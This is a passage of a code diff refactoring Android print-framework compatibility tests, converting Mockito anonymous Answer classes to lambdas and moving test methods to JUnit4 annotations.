         SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
 
         // Create a mock print adapter.
-        final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(PAGE_COUNT)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, 0, PAGE_COUNT - 1);
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+        final PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(PAGE_COUNT);
 
         // Start printing.
         print(adapter);
@@ -139,18 +119,9 @@
         // Wait for write.
         waitForWriteAdapterCallback(1);
 
-        // Select the first printer.
-        selectPrinter(FIRST_PRINTER);
-
-        // Wait for layout as the printer has different capabilities.
-        waitForLayoutAdapterCallbackCount(2);
-
         // Click the print button.
         clickPrintButton();
 
-        // Answer the dialog for the print service cloud warning
-        answerPrintServicesWarning(true);
-
         // Wait for finish.
         waitForAdapterFinishCallbackCalled();
 
@@ -169,32 +140,21 @@
                 any(PrintJob.class));
     }
 
-    public void testSomePagesWantedAndAllPagesWritten() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
+    @Test
+    public void somePagesWantedAndAllPagesWritten() throws Exception {
         // Create a callback for the target print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-            new Answer<PrinterDiscoverySessionCallbacks>() {
-            @Override
-            public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                    return createMockFirstPrinterDiscoverySessionCallbacks();
-                }
-            },
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                PageRange[] pages = printJob.getInfo().getPages();
-                // We asked for some pages, the app wrote more, but the system
-                // pruned extra pages, hence we expect to print all pages.
-                assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
-                printJob.complete();
-                onPrintJobQueuedCalled();
-                return null;
-            }
-        }, null);
+                invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                    PageRange[] pages = printJob.getInfo().getPages();
+                    // We asked for some pages, the app wrote more, but the system
+                    // pruned extra pages, hence we expect to print all pages.
+                    assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
+                    printJob.complete();
+                    onPrintJobQueuedCalled();
+                    return null;
+                }, null);
 
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
@@ -204,43 +164,34 @@
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(PAGE_COUNT)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                assertTrue(pages[pages.length - 1].getEnd() < PAGE_COUNT);
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, 0, PAGE_COUNT - 1);
-                fd.close();
-                callback.onWriteFinished(new PageRange[] {PageRange.ALL_PAGES});
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(PAGE_COUNT)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    assertTrue(pages[pages.length - 1].getEnd() < PAGE_COUNT);
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    writeBlankPages(printAttributes[0], fd, 0, PAGE_COUNT - 1);
+                    fd.close();
+                    callback.onWriteFinished(new PageRange[] {PageRange.ALL_PAGES});
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -251,21 +202,12 @@
         // Open the print options.
         openPrintOptions();
 
-        // Select the first printer.
-        selectPrinter(FIRST_PRINTER);
-
-        // Wait for layout as the printer has different capabilities.
-        waitForLayoutAdapterCallbackCount(2);
-
         // Select only the second page.
-        selectPages("2");
+        selectPages("2", PAGE_COUNT);
 
         // Click the print button.
         clickPrintButton();
 
-        // Answer the dialog for the print service cloud warning
-        answerPrintServicesWarning(true);
-
         // Wait for finish.
         waitForAdapterFinishCallbackCalled();
 
@@ -284,37 +226,26 @@
                 any(PrintJob.class));
     }
 
-    public void testSomePagesWantedAndSomeMorePagesWritten() throws Exception {
+    @Test
+    public void somePagesWantedAndSomeMorePagesWritten() throws Exception {
         final int REQUESTED_PAGE = 55;
 
-        if (!supportsPrinting()) {
-            return;
-        }
-
         // Create a callback for the target print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-            new Answer<PrinterDiscoverySessionCallbacks>() {
-            @Override
-            public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                    return createMockFirstPrinterDiscoverySessionCallbacks();
-                }
-            },
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                PrintJobInfo printJobInfo = printJob.getInfo();
-                PageRange[] pages = printJobInfo.getPages();
-                // We asked only for page 55 (index 54) but got 55 and 56 (indices
-                // 54, 55), but the system pruned the extra page, hence we expect
-                // to print all pages.
-                assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
-                assertSame(printJob.getDocument().getInfo().getPageCount(), 1);
-                printJob.complete();
-                onPrintJobQueuedCalled();
-                return null;
-            }
-        }, null);
+                invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                    PrintJobInfo printJobInfo = printJob.getInfo();
+                    PageRange[] pages = printJobInfo.getPages();
+                    // We asked only for page 55 (index 54) but got 55 and 56 (indices
+                    // 54, 55), but the system pruned the extra page, hence we expect
+                    // to print all pages.
+                    assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
+                    assertSame(printJob.getDocument().getInfo().getPageCount(), 1);
+                    printJob.complete();
+                    onPrintJobQueuedCalled();
+                    return null;
+                }, null);
 
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
@@ -324,57 +255,48 @@
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(PAGE_COUNT)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                // We expect a single range as it is either the pages for
-                // preview or the page we selected in the UI.
-                assertSame(pages.length, 1);
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(PAGE_COUNT)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    // We expect a single range as it is either the pages for
+                    // preview or the page we selected in the UI.
+                    assertSame(pages.length, 1);
 
-                // The first write request for some pages to preview.
-                if (getWriteCallCount() == 0) {
-                    // Write all requested pages.
-                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                    callback.onWriteFinished(pages);
-                } else {
-                    // Otherwise write a page more that the one we selected.
-                    writeBlankPages(printAttributes[0], fd, REQUESTED_PAGE - 1, REQUESTED_PAGE);
-                    callback.onWriteFinished(new PageRange[] {new PageRange(REQUESTED_PAGE - 1,
-                            REQUESTED_PAGE)});
-                }
+                    // The first write request for some pages to preview.
+                    if (getWriteCallCount() == 0) {
+                        // Write all requested pages.
+                        writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                        callback.onWriteFinished(pages);
+                    } else {
+                        // Otherwise write a page more that the one we selected.
+                        writeBlankPages(printAttributes[0], fd, REQUESTED_PAGE - 1, REQUESTED_PAGE);
+                        callback.onWriteFinished(new PageRange[] {new PageRange(REQUESTED_PAGE - 1,
+                                REQUESTED_PAGE)});
+                    }
 
-                fd.close();
+                    fd.close();
 
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -385,21 +307,12 @@
         // Open the print options.
         openPrintOptions();
 
-        // Select the first printer.
-        selectPrinter(FIRST_PRINTER);
-
-        // Wait for layout as the printer has different capabilities.
-        waitForLayoutAdapterCallbackCount(2);
-
         // Select a page not written for preview.
-        selectPages(Integer.valueOf(REQUESTED_PAGE).toString());
+        selectPages(Integer.valueOf(REQUESTED_PAGE).toString(), PAGE_COUNT);
 
         // Click the print button.
         clickPrintButton();
 
-        // Answer the dialog for the print service cloud warning
-        answerPrintServicesWarning(true);
-
         // Wait for finish.
         waitForAdapterFinishCallbackCalled();
 
@@ -418,19 +331,11 @@
                 any(PrintJob.class));
     }
 
-    public void testSomePagesWantedAndNotWritten() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
+    @Test
+    public void somePagesWantedAndNotWritten() throws Exception {
         // Create a callback for the target print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-            new Answer<PrinterDiscoverySessionCallbacks>() {
-            @Override
-            public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                    return createMockFirstPrinterDiscoverySessionCallbacks();
-                }
-            },
+                invocation -> createMockFirstPrinterDiscoverySessionCallbacks(),
             null, null);
 
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
@@ -441,49 +346,40 @@
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(PAGE_COUNT)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                assertSame(pages.length, 1);
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(PAGE_COUNT)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    assertSame(pages.length, 1);
 
-                // We should be asked for some pages...
-                assertSame(pages[0].getStart(), 0);
-                assertTrue(pages[0].getEnd() == MAX_PREVIEW_PAGES_BATCH - 1);
+                    // We should be asked for some pages...
+                    assertSame(pages[0].getStart(), 0);
+                    assertTrue(pages[0].getEnd() == MAX_PREVIEW_PAGES_BATCH - 1);
 
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(new PageRange[]{new PageRange(1, 1)});
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(new PageRange[]{new PageRange(1, 1)});
 
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -510,35 +406,24 @@
                 any(PrintJob.class));
     }
 
-    public void testWantedPagesAlreadyWrittenForPreview() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
+    @Test
+    public void wantedPagesAlreadyWrittenForPreview() throws Exception {
         // Create a callback for the target print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-            new Answer<PrinterDiscoverySessionCallbacks>() {
-            @Override
-            public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                return createMockFirstPrinterDiscoverySessionCallbacks();
-                    }
-            }, new Answer<Void>() {
-            @Override
-                public Void answer(InvocationOnMock invocation) {
-                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                    PrintJobInfo printJobInfo = printJob.getInfo();
-                    PageRange[] pages = printJobInfo.getPages();
-                    // We asked only for page 3 (index 2) but got this page when
-                    // we were getting the pages for preview (indices 0 - 49),
-                    // but the framework pruned extra pages, hence we should be asked
-                    // to print all pages from a single page document.
-                    assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
-                    assertSame(printJob.getDocument().getInfo().getPageCount(), 1);
-                    printJob.complete();
-                    onPrintJobQueuedCalled();
-                    return null;
-                }
-            }, null);
+                invocation -> createMockFirstPrinterDiscoverySessionCallbacks(), invocation -> {
+                        PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                        PrintJobInfo printJobInfo = printJob.getInfo();
+                        PageRange[] pages = printJobInfo.getPages();
+                        // We asked only for page 3 (index 2) but got this page when
+                        // we were getting the pages for preview (indices 0 - 49),
+                        // but the framework pruned extra pages, hence we should be asked
+                        // to print all pages from a single page document.
+                        assertTrue(pages.length == 1 && PageRange.ALL_PAGES.equals(pages[0]));
+                        assertSame(printJob.getDocument().getInfo().getPageCount(), 1);
+                        printJob.complete();
+                        onPrintJobQueuedCalled();
+                        return null;
+                    }, null);
 
         final PrintAttributes[] printAttributes = new PrintAttributes[1];
 
@@ -548,48 +433,39 @@
 
         // Create a mock print adapter.
         final PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(PAGE_COUNT)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                // We expect a single range as it is either the pages for
-                // preview or the page we selected in the UI.
-                assertSame(pages.length, 1);
+                invocation -> {
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(PAGE_COUNT)
+                            .build();
+                    callback.onLayoutFinished(info, false);
+                    // Mark layout was called.
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+                    // We expect a single range as it is either the pages for
+                    // preview or the page we selected in the UI.
+                    assertSame(pages.length, 1);
 
-                // Write all requested pages.
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                callback.onWriteFinished(pages);
-                fd.close();
+                    // Write all requested pages.
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    callback.onWriteFinished(pages);
+                    fd.close();
 
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
-        });
+                    // Mark write was called.
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    // Mark finish was called.
+                    onFinishCalled();
+                    return null;
+                });
 
         // Start printing.
         print(adapter);
@@ -600,21 +476,12 @@
         // Open the print options.
         openPrintOptions();
 
-        // Select the first printer.
-        selectPrinter(FIRST_PRINTER);
-
-        // Wait for layout as the printer has different capabilities.
-        waitForLayoutAdapterCallbackCount(2);
-
         // Select a page not written for preview.
-        selectPages("3");
+        selectPages("3", PAGE_COUNT);
 
         // Click the print button.
         clickPrintButton();
 
-        // Answer the dialog for the print service cloud warning
-        answerPrintServicesWarning(true);
-
         // Wait for finish.
         waitForAdapterFinishCallbackCalled();
 
@@ -633,58 +500,42 @@
                 any(PrintJob.class));
     }
 
-    private void selectPages(String pages) throws UiObjectNotFoundException {
-        UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/range_options_spinner"));
-        pagesSpinner.click();
-
-        UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains("Range"));
-        rangeOption.click();
-
-        UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/page_range_edittext"));
-        pagesEditText.setText(pages);
-
-        // Hide the keyboard.
-        getUiDevice().pressBack();
-    }
-
     private PrinterDiscoverySessionCallbacks createMockFirstPrinterDiscoverySessionCallbacks() {
-        return createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                PrinterDiscoverySessionCallbacks mock = (PrinterDiscoverySessionCallbacks)
-                        invocation.getMock();
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            PrinterDiscoverySessionCallbacks mock = (PrinterDiscoverySessionCallbacks)
+                    invocation.getMock();
 
-                StubbablePrinterDiscoverySession session = mock.getSession();
-                PrintService service = session.getService();
+            StubbablePrinterDiscoverySession session = mock.getSession();
+            PrintService service = session.getService();
 
-                if (session.getPrinters().isEmpty()) {
-                          List<PrinterInfo> printers = new ArrayList<>();
+            if (session.getPrinters().isEmpty()) {
+                      List<PrinterInfo> printers = new ArrayList<>();
 
-                    // Add one printer.
-                    PrinterId firstPrinterId = service.generatePrinterId("first_printer");
-                    PrinterCapabilitiesInfo firstCapabilities =
-                            new PrinterCapabilitiesInfo.Builder(firstPrinterId)
-                        .setMinMargins(new Margins(200, 200, 200, 200))
-                        .addMediaSize(MediaSize.ISO_A4, true)
-                        .addMediaSize(MediaSize.ISO_A5, false)
-                        .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
-                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                PrintAttributes.COLOR_MODE_COLOR)
-                        .build();
-                    PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
-                            FIRST_PRINTER, PrinterInfo.STATUS_IDLE)
-                        .setCapabilities(firstCapabilities)
-                        .build();
-                    printers.add(firstPrinter);
+                // Add one printer.
+                PrinterId firstPrinterId = service.generatePrinterId("first_printer");
+                PrinterCapabilitiesInfo firstCapabilities =
+                        new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+                    .setMinMargins(new Margins(200, 200, 200, 200))
+                    .addMediaSize(MediaSize.ISO_A4, true)
+                    .addMediaSize(MediaSize.ISO_A5, false)
+                    .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+                    .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                            PrintAttributes.COLOR_MODE_COLOR)
+                    .build();
+                PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
+                        FIRST_PRINTER, PrinterInfo.STATUS_IDLE)
+                    .setCapabilities(firstCapabilities)
+                    .build();
+                printers.add(firstPrinter);
 
-                    session.addPrinters(printers);
-                }
-
-                return null;
+                session.addPrinters(printers);
             }
-        }, null, null, null, null, null, null);
+
+            return null;
+        }, null, null, null, null, null, invocation -> {
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
+        });
     }
 
     private PrintServiceCallbacks createSecondMockPrintServiceCallbacks() {
diff --git a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
index 5459c31..e6bc164 100644
--- a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
@@ -36,17 +36,22 @@
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
+import static org.junit.Assert.*;
+
 /**
  * Test that the print attributes are correctly propagated through the print framework
  */
+@RunWith(AndroidJUnit4.class)
 public class PrintAttributesTest extends BasePrintTest {
     private static final String LOG_TAG = "PrintAttributesTest";
     private final String PRINTER_NAME = "Test printer";
@@ -78,6 +83,7 @@
      * Stores the {@link PrintAttributes} passed to the layout method
      */
     private PrintAttributes mLayoutAttributes;
+    private static boolean sHasBeenSetup;
 
     /**
      * Create a new {@link PrintAttributes} object with the given properties.
@@ -140,73 +146,62 @@
             final MediaSize defaultMediaSize, final int colorModes[], final int defaultColorMode,
             final int duplexModes[], final int defaultDuplexMode, final Resolution resolutions[],
             final Resolution defaultResolution) {
-        return createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                StubbablePrinterDiscoverySession session =
-                        ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            StubbablePrinterDiscoverySession session =
+                    ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
 
-                if (session.getPrinters().isEmpty()) {
-                    List<PrinterInfo> printers = new ArrayList<PrinterInfo>();
-                    PrinterId printerId = session.getService().generatePrinterId(PRINTER_NAME);
+            if (session.getPrinters().isEmpty()) {
+                List<PrinterInfo> printers = new ArrayList<>();
+                PrinterId printerId = session.getService().generatePrinterId(PRINTER_NAME);
 
-                    PrinterCapabilitiesInfo.Builder builder =
-                            new PrinterCapabilitiesInfo.Builder(printerId);
+                PrinterCapabilitiesInfo.Builder builder =
+                        new PrinterCapabilitiesInfo.Builder(printerId);
 
-                    builder.setMinMargins(minMargins);
+                builder.setMinMargins(minMargins);
 
-                    int mediaSizesLength = mediaSizes.length;
-                    for (int i = 0; i < mediaSizesLength; i++) {
-                        if (mediaSizes[i].equals(defaultMediaSize)) {
-                            builder.addMediaSize(mediaSizes[i], true);
-                        } else {
-                            builder.addMediaSize(mediaSizes[i], false);
-                        }
+                int mediaSizesLength = mediaSizes.length;
+                for (int i = 0; i < mediaSizesLength; i++) {
+                    if (mediaSizes[i].equals(defaultMediaSize)) {
+                        builder.addMediaSize(mediaSizes[i], true);
+                    } else {
+                        builder.addMediaSize(mediaSizes[i], false);
                     }
-
-                    int colorModesMask = 0;
-                    int colorModesLength = colorModes.length;
-                    for (int i = 0; i < colorModesLength; i++) {
-                        colorModesMask |= colorModes[i];
-                    }
-                    builder.setColorModes(colorModesMask, defaultColorMode);
-
-                    int duplexModesMask = 0;
-                    int duplexModeLength = duplexModes.length;
-                    for (int i = 0; i < duplexModeLength; i++) {
-                        duplexModesMask |= duplexModes[i];
-                    }
-                    builder.setDuplexModes(duplexModesMask, defaultDuplexMode);
-
-                    int resolutionsLength = resolutions.length;
-                    for (int i = 0; i < resolutionsLength; i++) {
-                        if (resolutions[i].equals(defaultResolution)) {
-                            builder.addResolution(resolutions[i], true);
-                        } else {
-                            builder.addResolution(resolutions[i], false);
-                        }
-                    }
-
-                    PrinterInfo printer = new PrinterInfo.Builder(printerId, PRINTER_NAME,
-                            PrinterInfo.STATUS_IDLE).setCapabilities(builder.build()).build();
-                    printers.add(printer);
-
-                    session.addPrinters(printers);
                 }
-                return null;
+
+                int colorModesMask = 0;
+                int colorModesLength = colorModes.length;
+                for (int i = 0; i < colorModesLength; i++) {
+                    colorModesMask |= colorModes[i];
+                }
+                builder.setColorModes(colorModesMask, defaultColorMode);
+
+                int duplexModesMask = 0;
+                int duplexModeLength = duplexModes.length;
+                for (int i = 0; i < duplexModeLength; i++) {
+                    duplexModesMask |= duplexModes[i];
+                }
+                builder.setDuplexModes(duplexModesMask, defaultDuplexMode);
+
+                int resolutionsLength = resolutions.length;
+                for (int i = 0; i < resolutionsLength; i++) {
+                    if (resolutions[i].equals(defaultResolution)) {
+                        builder.addResolution(resolutions[i], true);
+                    } else {
+                        builder.addResolution(resolutions[i], false);
+                    }
+                }
+
+                PrinterInfo printer = new PrinterInfo.Builder(printerId, PRINTER_NAME,
+                        PrinterInfo.STATUS_IDLE).setCapabilities(builder.build()).build();
+                printers.add(printer);
+
+                session.addPrinters(printers);
             }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                return null;
-            }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Take a note onDestroy was called.
